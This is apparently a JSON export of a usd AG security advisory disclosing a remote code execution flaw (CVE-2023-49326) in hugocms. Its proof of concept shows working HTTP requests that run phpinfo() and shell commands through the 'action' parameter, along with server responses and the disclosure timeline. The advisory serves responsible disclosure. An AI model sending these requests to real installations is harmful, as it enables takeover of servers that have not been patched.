{"id":22915,"date":"2024-07-22T11:08:20","date_gmt":"2024-07-22T09:08:20","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=22915"},"modified":"2024-07-24T11:30:47","modified_gmt":"2024-07-24T09:30:47","slug":"usd-2023-0037","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0037\/","title":{"rendered":"usd-2023-0037"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.26.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2023-0037 | Remote Code Execution in hugocms<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0037<br \/><strong>Product<\/strong>: hugocms<br \/><strong>Affected Version<\/strong>: (latest as of 25.09.2023; commit 77443d6)<br \/><strong>Vulnerability Type<\/strong>: CWE-913: Improper Control of Dynamically-Managed Code Resources<br \/><strong>Security Risk<\/strong>: HIGH<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/hugoeditor.com\/<\/a><br \/><strong>Vendor Acknowledged Vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>Advisory Status<\/strong>: Published<br \/><strong>CVE Number<\/strong>: CVE-2023-49326<br \/><strong>First Published<\/strong>: 2024-07-18<br \/><strong>Last Update<\/strong>: 2024-07-18<\/p>\n<h3>Desciption<\/h3>\n<p>The application <em>hugocms<\/em>, developed by Inter-Data, provides a frontend for the static site generator <em>hugo<\/em> to manage posts, media, and configuration of a hugo website. The application does not provide any access-control mechanism and recommends to restrict access via a web server's basic auth capabilities.<\/p>\n<p>Users with access to hugocms can execute arbitrary PHP code via an unfiltered URL parameter, leading to remote code execution. The flaw is present in script <strong>hugocms\/editor.os.control.php<\/strong> and can be triggered by a GET or POST request to <strong>hugocms\/editor.control.php<\/strong>.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The following request triggers execution of <strong>phpinfo()<\/strong>:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">GET<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/public\/edit\/hugocms\/editor.control.php?action=phpinfo<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">10.1.1.157<\/span><\/pre>\n<\/div>\n<p>The following request uses PHP's <strong>system()<\/strong> function to execute commands on the host system:<\/p>\n<p>Request:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">GET<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/public\/edit\/hugocms\/editor.control.php?action=system&amp;data=id<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">10.1.1.157<\/span><\/pre>\n<\/div>\n<p>Response:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span> <span class=\"m\" style=\"background: #263238;color: #f78c6c\">200<\/span> <span class=\"ne\" style=\"background: #263238;color: #ffcb6b\">OK<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Date<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mon, 25 Sep 2023 18:32:53 GMT<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Server<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Apache\/2.4.57 (Debian)<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">54<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">uid=<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">33<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">(www<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">-<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">da<\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">ta<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">gid=<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">33<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">(www<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">-<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">da<\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">ta<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">groups=<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">33<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">(www<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">-<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">da<\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">ta<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">)<\/span><\/pre>\n<\/div>\n<p>The following request uses hugocms' functions to execute commands on the host system:<\/p>\n<p>Request:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/public\/edit\/hugocms\/editor.control.php<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">10.1.1.157<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">42<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">action<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">editor\\execute<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">data<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">id+%26%26+false<\/span><\/pre>\n<\/div>\n<p>Response:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span> <span class=\"m\" style=\"background: #263238;color: #f78c6c\">200<\/span> <span class=\"ne\" style=\"background: #263238;color: #ffcb6b\">OK<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Date<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mon, 25 Sep 2023 18:35:37 GMT<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Server<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Apache\/2.4.57 (Debian)<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">91<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"success\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">false<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"debug\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"uid=33(www-data) gid=33(www-data) groups=33(www-data) &lt;br \/&gt;\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><\/pre>\n<\/div>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-09-25<\/strong>: Vulnerability identified by Florian Dewald.<\/li>\n<li><strong>2023-10-02<\/strong>: Sent first contact request.<\/li>\n<li><strong>2023-10-16<\/strong>: Sent reminder email mentioning disclosure deadline.<\/li>\n<li><strong>2023-10-25<\/strong>: Sent another reminder stressing that vulnerabilities will be publicly disclosed.<\/li>\n<li><strong>2023-11-13<\/strong>: Sent another reminder stressing our deadline and that vulnerabilities will be publicly disclosed if we receive no answer.<\/li>\n<li><strong>2023-11-22<\/strong>: Reached vendor via phone, sent vulnerability information.<\/li>\n<li><strong>2023-12-04<\/strong>: Sent status update request to info@inter-data.de<\/li>\n<li><strong>2023-12-06<\/strong>: Inter-Data reports that a fix is being worked on.<\/li>\n<li><strong>2024-01-03<\/strong>: According to Inter-Data a fix is in the works and should be finished soon.<\/li>\n<li><strong>2024-01-24<\/strong>: Reached out to Inter-Data for another status update.<\/li>\n<li><strong>2024-01-26<\/strong>: Inter-Data reports that the vulnerability is fixed.<\/li>\n<li><strong>2024-07-18<\/strong>: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Florian Dewald of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0037 | Remote Code Execution in hugocms Advisory ID: usd-2023-0037Product: hugocmsAffected Version: (latest as of 25.09.2023; commit 77443d6)Vulnerability Type: CWE-913: Improper Control of Dynamically-Managed Code ResourcesSecurity Risk: HIGHVendor URL: https:\/\/hugoeditor.com\/Vendor Acknowledged Vulnerability: YesVendor Status: FixedAdvisory Status: PublishedCVE Number: CVE-2023-49326First Published: 2024-07-18Last Update: 2024-07-18 Desciption The application hugocms, developed by Inter-Data, provides a frontend for the [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22915","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22915","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22915"}],"version-history":[{"count":4,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22915\/revisions"}],"predecessor-version":[{"id":23104,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22915\/revisions\/23104"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22915"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}